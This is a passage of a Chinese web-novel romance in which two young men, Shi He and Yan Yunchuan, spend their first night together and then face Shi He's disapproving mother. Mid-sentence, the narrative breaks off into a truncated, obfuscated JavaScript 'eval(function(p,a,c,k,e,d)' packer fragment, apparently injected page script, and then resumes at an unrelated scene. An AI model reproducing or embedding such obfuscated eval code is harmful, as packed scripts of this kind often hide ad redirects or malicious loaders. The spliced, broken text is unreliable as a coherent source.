榕江小区一家药房内,收银员正刷着手机,手机点开,一张机场照片赫然出现在屏幕上。照片里,两个男生手牵着手往光的方向跑着。 [卧槽!]她爆了句国粹,[新的明星?] [我怎么没见过?] 给她发照片的人说:[什么明星啊!素人!我费老劲才拿到的照片!] [我用我的crush发誓这两人绝对是gay!] gay三个字母刚进眼底,门铃响了起来。收银员抬头,就看见照片里的两个人跟穿越似的出现在了药房门口。 她没忍住,又爆了句国粹:“卧槽?!” 好在时和和宴云川心里都装着事,没听清。 走进药房前,宴云川脑海里还回荡着时和在车里说的话:“宴云川,我想成为你的私人专属。我不想你帮我了,我想做。”挥之不去。 看见时和一反常态地打量着药房周围,似乎不明白此行目的,宴云川眼底仿佛化了墨,眼底愈发幽暗。 时和可能是一时冲动、又或者刺激过头出现了解离。这些宴云川都知道,可是他经不起这样直白的撩。他唯一能克制的,就是在最后一步之前问时和:“还记得在车上说的吗?” 时和眼睛亮亮的,回了个:“记得。” 他说,“宴云川,我很清醒,我知道我在做什么。我从佛罗伦萨那会就惦记了。” 最后一道防线也破开了。 几步外,收银员还处于石化的状态,呆愣的看着两人站在门口说着她听不懂的暗语。 等她反应过来的时候,就见宴云川揉了揉时和脑袋,走到收银台边,顶着时和好奇的眼神,只用两分钟就挑出了自己想要的东西。 两人离开时,收银员迅速拍了一张两个人的背影照发给自家小姐妹,连带一串的感叹号:[!!!!你知道我看见了谁吗!!] 小姐妹回复:[我又不瞎!!卧槽卧槽卧槽!他们怎么会在你药房!] 收银员打字道:[这都不重要!] [你知道他们买了什么吗!] 收银台的电脑里,D.urex的英文格外显眼。 ** 从两人到家,客厅就变得杂乱无比。地上散落着衬衫和T恤,倾斜的茶几旁边掉了两个抱枕,半倾之地时不时传来呜咽和接吻的水声。 时和被宴云川压在茶几上,后背与大理石桌面几乎融为一体。他一改往常的矜持,大胆又热情任凭宴云川手掌沿着脖子一路往下。 反抗濯清,逃离机场,主动撩宴云川。时和觉得他这二十年压抑的叛逆在今天全都反弹了,以至于宴云川解开他裤扣时,他整个人都处于人魂分离的状态,有点醉人。可他意识非常清醒,或者说从没有一刻这么清醒。 所以,当宴云川第三次问他后不后悔的时候,他拉着宴云川的衣领就把人推到了沙发上。 沙发传来闷地一声响,往后移了几分,时和洇着水汽不满的眼神直直落进宴云川眼里,看得宴云川想一把把人压回来。 手刚抬起,他听见时和说:“我妈一星期前就知道我们在一起了。” “她想带我离开,真的给我买了机票。” “她说,我对你的感情只是依赖。” “宴云川,我之前说送你纽埃银币,是因为那是我的东西。除了纽埃银币,现在只有我是我的了。我分得清喜欢和依赖,也分得清后悔的冲动和不后悔的冲动。我想把我所有珍贵的东西都送给你,我想把我送给你,不后悔,这是我自己选择的轨道,所以……” 你愿意接受我吗? 沙发再次传来一声钝响,原本在上位的人到了身下。客厅响起窸窣解塑料袋的声音,声音从沙发一路到卧室。接下来的一切都是未知,时和却不觉得恐惧。宴云川在身边的时候,时和大脑的杏仁核好像失效了。 另一边,沈停正上着课突然接到濯清电话。听见濯清在电话里问宴云川的地址他就知道出事了,赶紧敲了林朔野。两人轮番在桌肚里给宴云川打电话都无人回应。这节课又逃不了,他们急的一条公式也没听进去。 打到第十个电话,沈停爆了句:“我——”他想“操”,奈何场合和对象都不对。 挂掉第十一个电话,林朔野偷偷问:“一般你阿姨什么情况会要人地址啊?” 沈停急脾气,打出第十二个电话,把手机往桌肚一盖,咬着牙说:“我怎么知道!把他宝贝儿子拐跑了吧!我对我阿姨还没学长了解!” 当然,拐跑只是他的玩笑话,毕竟那可是宴云川。天塌下来宴云川都会冷静处理,怎么可能做把人拐跑这么冲动的事。 可林朔野想了想他哥在“车祸”那天的模样,默默咽了咽口水,直接给他哥留了一条:危!王母娘娘找上门了!躲好! 这条微信和无数的电话一起沉入了无边的潮湿里。时和感觉自己腰快和腿分离了。他头一回知道男生和男生之间的步骤这么复杂,也是头一回体验到这样直冲脑门的快感。 他叫不了停,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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正值十月国庆周,大家休假的休假,旅游的旅游,小区门口车辆稀少。 宴云川一眼看见了濯清的车。车门敞开,濯清满脸疲惫,鬓角严丝不苟的头发也变得散乱,有几根白发没有藏好,溜了出来。 “进来吧。”濯清对宴云川说。 上了车,宴云川对濯清说的第一句话便是:“对不起,伯母。” 濯清笑了。 “对不起什么呢,”濯清垂着眸子,“是对不起跟小和在一起,还是对不起瞒着我,又或者对不起带走了小和。” 车厢陷入一阵沉默。宴云川不知道这个问题该怎么回答,因为怎么回答都是错误答案。他否定不了第一个条件,又愧疚于后面两个。 沉默之间,濯清问:“小和呢。” 宴云川说:“在楼上,您可以放心。” 其实时和累的睡着了宴云川才下来的。 濯清突然觉得很讽刺,自己的儿子却要从别人口中问到行踪。 如果是半年前,她根本不会给时和离开的机会。威胁也好、强硬的拉上飞机也好,这些都是半年前她会做的。可她现在不敢。 漫长的半年岁月早就消磨了她歇斯底里的本事。她怕那样的歇斯底里会彻底推开时和,所以她只能眼睁睁看着时和从机场离开。 她只有时和了。 于是她问宴云川:“小川,算阿姨求你,能不能不要从阿姨身边夺走小和。” 有那么一瞬间,宴云川感觉眼前这个看上去强势的人其实非常柔软。而她也并不排斥同性恋,她所害怕的只是自己儿子的离开。 94.Chapter·计划 宴云川没立场评判濯清,但他知道濯清是爱时和的,就如同时和爱着濯清一样。 “伯母,没有人可以从您身边夺走时和。”宴云川说着。说完这句话,他看见濯清睫毛颤了一下,这才继续,“时和很爱您。” “爱”这个字眼唤醒了濯清一部分的情绪。意识到自己说了什么,濯清捋了捋鬓角的头发,突然想起答应宴云川过来的目的。 “小川,阿姨其实很欣赏你,”濯清说,“你比我认识的很多同龄人更有潜力也更理智。” 濯清表情没有玩笑,是实打实的欣赏。可欣赏不代表认同,“二十岁的感情跟十八岁一样冲动,小和不懂两个男生恋爱在社会有多畸形,你应该懂。有了这层关系烙在你们身上,就跟以前罪犯脸上的烙刻一样,不管你们有多么才高八斗学富五车,都是空谈,因为没人会信。” 她用着过来人的语气说道:“阿姨希望你跟小和之间……就到这儿吧。有过这么一段感情作为回忆就够了,你们都应该有更好的未来,不要因为一时感情用事毁了自己。” 宴云川知道濯清是真的这么想,也是真的在为他们好,所以他在回答的时候斟酌了一下用词,把“时和不会”换成了:“我今年二十四,可以补他四年的稳重。时和尽管冲动,他需要我一天,我就陪他一天。” 后面那句“如果哪天时和不需要了,我就想办法让他需要”,宴云川没往下说。可濯清还是问了:“如果小和不需要了呢?” “那我会离开。”宴云川睁眼说着。 饶是这样,濯清态度依旧:“我不同意。” ** 时和是被梦吓醒的。他不知道自己在哪,周围的景色一下变成苍城大学,一下变成榕城的家,人群围成圈朝他簇拥而来,嘴里指责他妈宝,指责宴云川同性恋、恶心。 濯清站在人群最前面,漠然地听着大家对他控诉,最后冷冰冰地下达指令:“分手。” “——我不要!”时和猛地弹起来,浑身虚汗,映入眼帘的是一盏暖黄色的吊灯。 时和有点分不清梦境和现实了。他对着陌生而安静的卧室喊着宴云川,回应他的只有一遍又一遍的回声,仿佛从机场逃出来也是一场梦。 这样的认知让他很慌,当即就想起身。手指掀开被单的刹那,一种陌生而颤栗的酸胀感从尾椎骨直达后脑,让他险些摔下床。 方才发生的一切重新回到脑海里。 意识到不是梦,时和整个人松懈下来。一放松,五感瞬间增强,房间里弥漫的似有若无的味道让他红了半张身子。 他真的和宴云川做了。 原来做了是这样的感觉…… 这么…… 爽。 没错,就是爽。 早知道…… 时和滑进被窝里。一想到这是宴云川卧室,宴云川每天睡在这张床上,他就有点受不了。 他忍着酸胀下床,一路扶着墙变扭地走到客厅,捞起客厅的手机开机,不顾微信爆炸的消息,直接给某个提起裤子跑路的人打了个电话。 电话响了两下接通,时和问:“你在哪?”言语里是自己都没注意到的软。 电话那头的人明显愣了一下。 时和听见两声轻咳,又听见一声:“不要辣。”还有几声包子馒头的喇叭叫卖。 “在买早餐吗?”时和问。 宴云川嗯一道。喇叭里的叫卖声逐渐变小,小到听不见,宴云川才问:“有哪里不舒服?” 时和一开始没反应过来。等到会意的时候时和人又蒸熟了。 要说不舒服肯定是有的,比如他现在有点坐不住,比如腰有点酸,比如走路有点奇怪。尽管宴云川的在过程中尽可能的温柔, 时和不知道其他人第一次会不会也这样,反正他要面子。他小声回应:“没、没有……”又马上转移话题,“买了什么早餐?” 电话那头传来一声识破的轻笑。 “我就在小区楼下,”宴云川说,“买了点儿瘦肉粥和小笼包。还想吃什么?” “……”时和有点自闭,什么也不想吃。 接下来一路,宴云川都没挂电话,从早餐一路聊到午餐,又在电话里犯了一会浑,把时和撩到几近挂电话他才说:“我见到伯母了。” 话落,房门打开,时和怔愣地站在沙发前。 这一路回来的太过顺利,加上高强度刺激,以至于时和差点忘了还有现实的一地鸡毛。 顾不上身体不适和宴云川手上的早餐,时和冲上去拉着宴云川手臂左顾右盼,模样仿佛濯清会让宴云川脱块皮。 宴云川把人拦下来,探了探体温,确认正常才半拥半揉的把人带到沙发:“趴着。” 时和没理,着急问:“我妈跟你说什么了?” “伯母没说什么。”宴云川拍着时和后背。见时和明显不信,他拍了拍大腿,示意时和趴上来。 “站着不难受吗?”宴云川笑着问。 时和憋红了脸说:“不难受。” 说完,宴云川起身在时和腰间上力揉了一把。那阵酸软感上来,揉得时和直接软了下来,轻而易举被带到了沙发上。 做一次就虚成这样,时和心说丢人,尤其宴云川手掌在他腰间有一下没一下画着圈的时候,他觉得小时候在幼儿园尿床都不是什么大事了。 沙发角落有个抱枕,时和一把抓过来,把整张脸埋了进去。埋进去前他还不忘问:“我妈说什么了?” 宴云川没说,而是问:“崽崽,想跟我一起做一个电竞酒店吗?” 时和这才从抱枕里探出了头。 “我妈的条件?”时和不可思议地问道,似乎下一秒就想拿起电话找濯清理论。 好在宴云川手掌还在腰上,拦下了冲动。 “是我的条件,”宴云川解释说,“说条件也不算,我前段时间就在考虑这件事了。网吧也不能一直靠活动维持下去,等到哪天大家把活动玩腻了,网吧还是会慢慢没落。” 说来这里面也有时熵的帮忙。在他把濯清情况跟时熵说过后,时熵直接说:“阿清是个商人,商人在商言商,哪怕你们都爱小和,但这份爱太虚象化了。你明白吗云川,你们要有共同的利益,她才会对你放心。” 所以他就想到了电竞酒店的方案。 其实他从佛罗伦萨回来那会就开始考虑了,他说过要给网吧一个配得上时和的未来。他本想着等到方案企划做的差不多再去跟濯清谈合作,没想到计划赶不上变化,会出现这样的意外。 “所以你那天说的‘相信’就是这个?”时和 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吃过早餐,他又兴致勃勃地投入到了电竞酒店的策划讨论中,腰也不酸了,腿也不痛了,恨不得一天就把方案敲出来晚上带去给濯清。 他意识到自己生日是因为宴云川的日历,日历10月5号一栏用红笔圈了个圈,角落有个和字。 接下来,时和又跟犯病似的坐不住了。 宴云川说:“我计算过网吧现在的客流,在做好联动宣传的情况下,最优客转率有8%。” 时和蹦出一句:“你准备了生日礼物?” 宴云川嘴角微微上扬,当作听不见似的往下继续:“回头我筛一份上网时长六小时的名单。” 时和又蹦出一句:“是什么?” 说到:“有多人开黑需求、消费能力高的也可以作为第一批调研对象。” 时和忍不住了:“时装?还是坐骑?”甚至顾不上难受不难受的,凑上去就啃了宴云川一下。 这一啃颇为大胆,直接在宴云川唇角留下了一颗虎牙印,还把自己啃到了书桌上。 草稿纸洒了一地,时和坐在几张还没动笔的白纸之间,手掌撑着书桌,听见宴云川问:“崽崽,晚上还回不回去了?” 他瞥见宴云川眼神里的欲望,这才察觉不对劲,推搡着说:“不要了……”说完还倒打一耙,“谁让你一直吊我胃口。” 宴云川险些气笑。 书房静谧,偶有微风吹动窗帘透出一点光。两人的手机都倒扣在书桌一角,仿佛这样就能躲开微信和电话里的一地鸡毛。可时和知道这样的“躲”只有一天。就像一个难得的假期,假期结束,迎来的只有更猛烈的狂风暴雨。 他说道:“宴云川,后天我就出不来了。” 宴云川眉头微皱,又抚平。 顶着时和目光,宴云川起身走到书架最顶层,从顶层拿来一个礼盒:“拆开看看。” 时和纳闷地看向宴云川,在宴云川点头示意下,他打开礼盒,礼盒里装着一枚最新发行的纽埃银币。他惊讶地抬起了头。 这枚银币他知道,但是因为发行500枚,他没有抢到,没想到宴云川会有。 “上个月托月下订的,”宴云川说,“现在它和我都是你的了。崽崽,提前祝你生日快乐。 95.Chapter·应对 榕城栖畔小区,濯清从回来就坐在沙发上。手机屏幕常亮,她就这么看着手机里一个红点落在右上方,看了一个下午。直到红点开始移动,门口传来门锁扭动的声音,她表情才有了变化。 时和回到家的时候正值日落。日落的客厅是最好看的,从阳台的方向正好可以看到落日熔金之景,以往每每这时候,濯清在家就会拿出手机给窗外拍一张,美其名曰:“太阳不是昨天的太阳。”可今日,客厅氛围犹如凛冬。 并不是紧张,相反,时和进门的时候濯清就很热情地迎了上来,问他在外边玩的怎么样,开不开心,还问他吃饱了饭没有,妈妈做了晚餐,专门给你留了一份。 可越是热情,就衬得客厅越是寂寥。 时和想过濯清会生气,会一言不语,独独没想过濯清会当作什么事也没发生。就像从苍城回来那样。然后某一天,这样的压抑便会爆发。 “妈——”时和发现自己越来越不了解濯清了。 濯清不给时和说话的机会。她拉着时和坐到餐厅,看见时和手上的礼物袋虽有一瞬的怔愣,下一秒就当作没有看见一样掠了过去,甚至问都不问便往餐厅走,边走边说:“妈妈今天炖了甲鱼汤,你不是不爱吃猪心吗,妈妈以后不炖了。” 作为儿子,时和看不了濯清这样。 “妈——”他又喊了一声。 濯清忽然停下脚步,用近乎哀求地语气说道:“宝贝,别说出来,好吗。” 所有的说服、所有的准备,在这一句“好吗”之下,统统失去了作用。 和往常一样,濯清端着汤坐在时和对面,热情地给时和盛菜。只是这一次她非但没有要求时和细嚼慢咽,还对时和说:“可以吃快一点儿,吃饱了妈妈陪你出去散散步。” 时和埋着头说:“妈,您别这样。” 濯清立马换了一个行程:“还是宝贝想读读书,或者看个电视?妈妈陪——” 话没说完,时和便戳破了濯清自欺欺人的假象,故意说道:“我想打游戏,和宴云川。” 只听哐当一声,濯清的调羹掉到了地上。接着濯清像没事人一样弯腰,嘴上说:“瞧妈妈,一定是最近太累了,调羹都拿不稳。”似乎想用“累”这个字让时和心软。 时和也的确心软了。 “妈,”时和起身,走到濯清身边,接下那根脏了的调羹,又从厨房拿了一根新的出来。他望着濯清,看见濯清躲开了自己的眼神,问道:“妈,为什么呢?”为什么宴云川不行? 客厅安静了有一会,久到时和两腿有些站不住。濯清很轻地说:“那为什么要是小川呢?” 时和一字一字回:“因为我只喜欢他。”而他刚好是宴云川,仅此而已。 话落,濯清稍稍抬起了头,语气也有了一些厉色,像是压抑狠了,终于决定爆发一般说:“喜欢是最没用的感情!我曾经也喜欢过你爸爸!然后呢!你爸爸曾经痴迷画画!结果呢!” “妈妈只是想让你过的好一点!有错吗!妈妈的路是你外公外婆费尽心思铺的!因为妈妈走了正确的路!你现在才能住在这里!才能治病!才能天马行空无法无天!” 客厅回荡着濯清的声音。濯清意识到自己说了什么,见时和沉默,她赶紧补救说:“妈妈、妈妈不是数落你,小和——” 时和问:“什么是正确的路?” 濯清被噎了一下。 时和又问:“那如果我不快乐呢?” 濯清笑了笑:“宝贝,你才多大啊,就知道未来快不快乐。相信妈妈,你以后一定会遇见一个像小川一样爱着你的女孩子,你也一样爱着她。” “原来您知道宴云川很爱我。”时和说。 桌上的甲鱼汤冒着热气,许是太热了,时和看见濯清额头出了细细密密的汗。在一片沉默中,时和说道:“妈,我这辈子只会跟宴云川在一起,不管是六年后、六十年后、六百年后,我只喜欢宴云川。你总说我还小,您二十一岁就跟着外公外婆走南闯北。我马上二十一了,我跟当时的您一样大。我知道自己要什么了。” “但你们的感情永远不受法律的保护!” “法律保护不了任何一段感情!” 时和说出这句话便开始后悔,或许越是亲密的人越容易互相伤害。 可他突然发现,一直以来像锁链一样困住他的母亲,好像自己也被困住了。 “对不起,妈——我——”他对濯清说道。 濯清捏了捏眉心说:“妈妈不同意。宝贝,你现在说六年、六百年都会喜欢,你能证明吗?” 以后的事,时和证明不了。但他相信,就像相信日升月落明天依旧生效那样。 他也没想过通过一次谈话就让濯清同意。他只是把调羹递给了濯清,像是一夜之间长大那样说:“先吃饭吧,妈,我饿了。吃饱了……我跟您下楼散步,好吗?” ** 宴云川收到时和散步的消息时,正在应付林朔野和沈停。这两人放学饭都没吃就跑来了网吧,跟做贼似的锁了一间包间。 猜到濯清发现了宴云川和时和的关系,林朔野生怕濯清做点什么,比如像电视里演的那样递出一张支票说离开我的儿子。 沈停甚至说:“以我阿姨对时和的珍视程度,说不定会给个几百万。” 林朔野转头就问:“真给了啊?” “……”宴云川有点想把林朔野脑子敲开看看,看看里面构造是不是跟常人不太一样。 “给了。”他说,“给了五百万。” 关键林朔野真信了。 “收了?” “收了。” “哈——?哥!你怎么还是个渣男呢!”林朔野如此评价道。 一时间,宴云川和沈停都像看白痴一样看着林朔野。沈停转过头,表示自己不想认识这人,林朔野这才意识到两人在开玩笑。 沈停问:“你这两天跟单身待久了被传染?” 林朔野挠了挠头:“那你阿姨的心谁能猜?” 微信里,时和对宴云川说:[宴云川,我总觉得我妈好像没 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家庭老师依旧上门,时和不再排斥,反而比以前更用心地上课,好像这样就能让复学的进度更快一些。空闲之余,濯清就会看见时和抱着手机,嘴角从没下来过。 头几次,濯清还会提醒,让时和不要老盯着手机,时和也很听话把手机放了,然后中午她发现时和爱上了整理书架,喜欢把宴云川送的东西拿出来反复整理,嘴角也没下来过。 她有点头疼。 害怕时和发展出什么强迫症,午休一过,濯清立马带时和去做了一次心理咨询。 她没说时和跟男生谈恋爱,只说时和好像恋爱了,顺道问医生该怎么纠正。 医生猜到了什么,思考了片刻平静地问:“濯女士,冒昧问一下,两人感情很好吗?” 濯清虽然不情愿,还是说:“……挺好。” 就是因为挺好,她才不知道该怎么办。她甚至不知道两个人的关系怎么突然好成了这样。 医生说道:“从刚才的咨询来看,小和心理相对健康。小和正值青春期,喜欢上什么人是一件很正常的事。如果这份喜欢带给小和的是正向反馈,那我建议维持现状。如果是负向,再考虑纠正的问题,否则容易矫枉过正,过犹不及。” 濯清没想到会得到这样一个答案。从心理医院出来,她的精神就一直恍惚,时和喊了好几次她才反应过来。 “妈,看车。”时和拉着濯清胳膊说道。 其实时和还和以前一样,站在她的身侧,会在她走神的时候拉一把,会听她的话。就像宴云川说的,时和很爱她。 可这样的爱真的不会被夺走吗? 想到医生说的话,濯清险些问时和:“你觉得跟小川在一起真的很快乐吗?” 好在理智尚存,她喊出宝贝过后,话题一转变成了:“明天生日想怎么过?” 时和说道:“妈,我想去网吧。” 濯清马上说:“不行!”